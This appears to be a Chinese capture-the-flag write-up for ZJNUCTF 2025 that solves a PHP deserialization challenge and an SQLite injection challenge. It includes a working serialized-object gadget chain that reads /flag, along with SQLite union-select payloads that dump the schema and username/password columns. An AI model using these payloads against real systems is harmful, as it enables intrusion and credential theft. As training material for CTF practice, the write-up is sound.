<?php highlight_file(__FILE__); error_reporting(0); class MyGO{ public $MyGO='迷子でもいい、迷子でも進め。'; public $Mujica='…ようこそ。Ave Mujicaの世界へ'; public $CRYCHIC='なんで春日影やったの?!!'; public function __call($name, $arguments) { call_user_func($arguments[0]);//哦,好像不能rce } } class Mujica{ public $MyGO='迷子でもいい、迷子でも進め。'; public $Mujica='…ようこそ。Ave Mujicaの世界へ'; public $CRYCHIC='なんで春日影やったの?!!'; public static function __callStatic($name, $arguments) { readfile('/flag'); } } class CRYCHIC{ public $MyGO='迷子でもいい、迷子でも進め。'; public $Mujica='…ようこそ。Ave Mujicaの世界へ'; public $CRYCHIC='なんで春日影やったの?!!'; public function __toString() { return $this->MyGO->Mujica($this->CRYCHIC); }
class MyGO{ public $MyGO='迷子でもいい、迷子でも進め。'; public $Mujica='…ようこそ。Ave Mujicaの世界へ'; public $CRYCHIC='なんで春日影やったの?!!'; } class Mujica{ public $MyGO='迷子でもいい、迷子でも進め。'; public $Mujica='…ようこそ。Ave Mujicaの世界へ'; public $CRYCHIC='なんで春日影やったの?!!'; } class CRYCHIC{ public $MyGO='迷子でもいい、迷子でも進め。'; public $Mujica='…ようこそ。Ave Mujicaの世界へ'; public $CRYCHIC='なんで春日影やったの?!!';
} $a = new CRYCHIC(); $a->MyGO = new MyGO(); $a->CRYCHIC = ['Mujica', 'anything']; echo urlencode(serialize($a));
sqlmap可能一把锁出来,但是sqlmap一把锁出来不太可能 看看学长有没有什么想对大家说的呢 请输入留言ID: 这里是一道注入的题目(不完全是) 先输入:1 进行查询:查询结果如下: 欢迎来到ZJNUCTF 2025! 祝愿你能取得好成绩 —AsaL1n 2:查询结果如下: 你知道满屏幕都是美少女的美好吗 —Pangbai 3:查询结果如下: 出现错误了喵~~~~~~ 4:查询结果如下: 欸,我包去哪里了 —enllus1on 5:查询结果如下: 我就喜欢玩 旮旯game –乙醇 6:查询结果如下: 关注塔菲喵,关注塔菲谢谢喵 —straw 哈哈,好玩 输入1 and 1=1–+,回显成功,1 and 1=2–+出现错误。这里是数字型吗? 那就不用继续来测试闭合符这些了? 来测列1 order by 1,这里有回显 1 order by 2开始报错了,一列应该不太可能。加上后面的提示我们知道不是数据库不是mysql
1 2 3 4 5
数据库不只有mysql哦~~~~ 这题需要通过sql注入达到命令执行,但是sqlite本身不支持写文件,想想其他的漏洞呢 Space Station Toilet Initiative(太空站厕所革新计划) hackbar发送数据包可能出现问题,这里建议使用其他工具 sqlite查询结果需要严格满足类型要求,如1 union select 1--+ 在面对查询字符串类型的时候会报错,但是1 union select '1'--+ 就不会报错
#创建表,语句和mysql差不多,先进入sqlite>下 sqlite> create table test( ...> id INT PRIMARY KEY NOT NULL, ...> name char(50) NOT NULL ...> ); #向表中插入数据 sqlite> insert into test (id,name) values (1,'alice'); sqlite> insert into test (id,name) values (2,'bob'); #查询语句 sqlite> select * from test;
#表中包含的字段如下 sqlite> .schema sqlite_master CREATE TABLE sqlite_master ( type text, name text, tbl_name text, rootpage integer, sql text );
#从sqlite_master查表名: sqlite> select tbl_name from sqlite_master where type='table'; #获取表名和列名 sqlite> select sql from sqlite_master where type='table'; #会打印出创建表时所执行的sql语句
#设置格式化输出,可以更加直观的看到执行结果 sqlite>.header on sqlite>.mode column sqlite>.timer on
注入漏洞
1 2
SELECT * from user_data where id='$id'; $ret = $db->query($sql);
#查询字段数 -1' union select 1,2,3; 1' order by 3; #查版本 0' union select 1,2,sqlite_version(); #查询表名和列名 通过查询 sqlite_master 表来实现: -1' union select 1,2,(select sql from sqlite_master limit 0,1),4; #当存在多个表时,我们可以用 limit 关键字逐行读取,也可以使用 group_concat 关键字进行聚合: -1' union select 1,2,(select group_concat(sql) from sqlite_master),4; 0' union select 1,2,tbl_name FROM sqlite_master limit 2 offset 1 -- #查询数据 -1' union select 1,2,(select group_concat(username,password) from table_name),4;